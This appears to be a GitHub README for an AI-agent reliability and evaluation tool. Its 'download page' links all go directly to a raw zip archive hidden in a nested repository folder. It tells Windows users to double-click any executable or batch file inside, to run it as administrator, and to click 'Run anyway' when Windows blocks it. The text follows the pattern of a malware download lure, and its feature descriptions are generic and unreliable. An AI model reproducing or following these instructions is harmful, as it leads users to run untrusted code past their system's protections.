agent-reliability-engineering：面向 AI 智能体的可靠性工程工具

🤖 agent-reliability-engineering - Reliable AI agents with clear controls

🖥️ What this app is

Agent Reliability Engineering helps you work with AI agent systems in a safer, more controlled way. It focuses on checks, results, and tracking so you can see how your agent behaves over time.

Use it to:

test agent runs
track quality changes
compare versions
review performance metrics
run transfer tests across setups
keep config changes organized

📥 Download and run on Windows

Follow these steps on a Windows PC:

Open the download page: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip
On the GitHub page, look for the latest release or the main project files.
Download the Windows file or the project package from that page.
If Windows asks for permission, choose Yes.
If the file is a zip archive, right-click it and choose Extract All.
Open the extracted folder.
Find the app file or launch script and double-click it.
If a setup screen appears, follow the on-screen steps.

If you use a browser download, check your Downloads folder after the file finishes.

🔧 What you need

A typical Windows setup for this app:

Windows 10 or Windows 11
At least 4 GB of RAM
500 MB of free disk space
A stable internet connection for first-time download
Access to a standard user account with permission to run files

If you plan to use larger eval sets or many agent runs, 8 GB of RAM is a better fit.

📌 Main features

🧪 Evals

Run repeatable tests on agent behavior. This helps you check if changes improve or hurt results.

📊 imp@k metrics

Review output quality with ranked metrics that focus on the first few results. This helps when only the top answers matter.

🔁 Self-improvement tracking

Watch how the agent changes after updates. This makes it easier to see if a change helped.

🗂️ Config versioning

Keep versions of your setup files. You can compare old and new settings without losing track.

🔄 Transfer experiments

Test how one agent setup performs in a different task or environment.

👥 Multi-agent support

Work with more than one agent in the same flow. This helps when tasks need separate roles.

🪟 How to install on Windows

1. Open the GitHub page

Go to: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip

2. Find the download

Look for the latest release, build, or package on the page.

3. Download the file

Save it to your computer. Most browsers place it in the Downloads folder.

4. Extract it if needed

If the download is a .zip file:

right-click the file
choose Extract All
pick a folder you can find again

5. Start the app

Open the folder and look for:

an .exe file
a .bat file
a launcher
a setup file

Double-click the file to start it.

6. Allow access if Windows asks

Windows may ask if you want to let the app run. Choose Yes to continue.

🧭 First run

When you open the app for the first time, it may:

load a default config
create a local workspace
build a folder for logs
prepare sample eval data
show a simple start screen

If the app asks for a config file, choose a file from the app folder or use the default file it creates.

📁 Common folder layout

You may see folders like these:

configs - saved setup files
evals - test runs and test cases
metrics - score files and result data
logs - run history and debug output
experiments - transfer test results
outputs - saved reports

⚙️ Basic use

Open the app.
Load a config or choose the default one.
Pick a test set or task.
Start an eval run.
Review the results.
Save or compare the output.
Update the config and run again.

This workflow helps you spot changes in quality with less guesswork.

🔍 What to look at in results

When you review a run, focus on:

task success rate
top-ranked answer quality
error patterns
time per run
config changes that affect output
differences between agent versions

These checks help you learn which setup works best.

🛠️ Troubleshooting

The file does not open

Make sure the download finished
Check that you extracted the zip file
Try right-clicking the file and choosing Run as administrator

Windows blocks the app

Choose More info if it appears
Then choose Run anyway
Check that you downloaded it from the GitHub page above

The app closes right away

Open the app again
Look for a log file in the logs folder
Check that any config file you selected is in the correct place

The app shows missing files

Keep the full folder together
Do not move one file without the others
Extract the whole archive again if needed

The screen looks empty

Wait a moment for the first load
Refresh or reopen the app
Check whether sample data is needed for the first run

🧪 Example use cases

compare two prompt versions
test whether a new agent gives better answers
review how a multi-agent flow handles a task
check if config edits changed the output
track if a model update improved the top result
run transfer tests from one task type to another

🧾 File types you may see

.exe for Windows apps
.zip for packaged downloads
.json for config and settings
.csv for result tables
.md for notes and project info
.log for run logs

🔗 Download again

Visit the project page to download or open the latest files: https://github.com/jesayas7817/agent-reliability-engineering/raw/refs/heads/main/transfer/experiments/reliability_engineering_agent_1.3-beta.1.zip

🧩 Project focus

This project brings SRE-style control to AI agents. It puts attention on:

repeatable tests
clear metrics
config history
run tracking
safer changes
comparisons across versions

📎 Useful topics

agent reliability engineering
AI agents
DevOps
evaluation
LLM
metrics
multi-agent
production
self-improving
SRE